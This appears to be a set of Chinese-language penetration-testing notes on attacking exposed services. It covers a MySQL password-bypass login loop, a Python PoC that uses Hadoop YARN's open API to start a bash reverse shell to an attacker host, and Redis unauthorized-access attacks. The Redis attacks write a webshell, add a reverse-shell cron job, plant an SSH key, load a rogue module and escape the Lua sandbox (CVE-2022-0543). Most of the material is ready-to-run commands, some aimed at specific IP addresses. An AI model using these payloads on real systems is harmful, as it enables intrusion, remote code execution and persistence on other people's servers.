1、配置不当-未授权访问
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击
判断服务开放
Mysql:3306 rdp:3389 ssh:22 ftp: hadoop:50010 redis:6379
判断服务类型
判断利用方式
1、漏洞简介
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。
2、受影响的版本
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
利用docker进行漏洞环境的复现
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.153.132 -P3306 ; done
利用for循环,执行命令一直进入数据库为止
实战中,Msql默认配置只允许本地登录root用户,远程连接请求是拒绝的,可以借助phpmyadmin猜解,phpmyadmin第三方的数据库管理应用,搭建在对方的服务器上
二、Hadoop-未授权访问-内置配合命令执行RCE
python Poc
import requests
target = 'http://123.58.224.8:32343'
lhost = '43.143.231.203' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
三、Redis-未授权访问-Webshell&任务&密匙&RCE等
漏洞存在点:bind 127.0.0.1未开启,支持远程登录,未设置密码,未开启保护
1、服务器开启redis服务,通过连接写入webshell
config set dir /tmp #设置WEB写入目录
config set dbfilename 1.php #设置写入文件名
set test "" #设置写入文件代码
bgsave #保存执行
save #保存执行
2、写定时任务反弹shell
利用条件:
允许异地登录
安全模式protected-mode处于关闭状态
config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/43.143.231.203/5555 0>&1\n\n\n"
config set dbfilename x
save
注意:
centos会忽略乱码去执行格式正确的任务计划
而ubuntu并不会忽略这些乱码,所以导致命令执行失败
3、写入Linux ssh-key公钥
利用条件:
允许异地登录
Redis服务使用ROOT账号启动
安全模式protected-mode处于关闭状态
允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
ssh-keygen -t rsa
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 118.31.57.214 -x set xxx
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
cd /root/.ssh/
ssh -i id_rsa [email protected]
redis 未授权访问 (CNVD-2015-07557)
https://github.com/vulhub/redis-rogue-getshell
python redis-master.py -r 目标ip -p 6379 -L 自己ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
5.新漏洞-沙箱绕过RCE CVE-2022-0543-vulfocus
连接redis服务器
redis-cli -h ip -p port
Poc:执行id命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls /tmp", "r"); local res = f:read("*a"); f:close(); return res' 0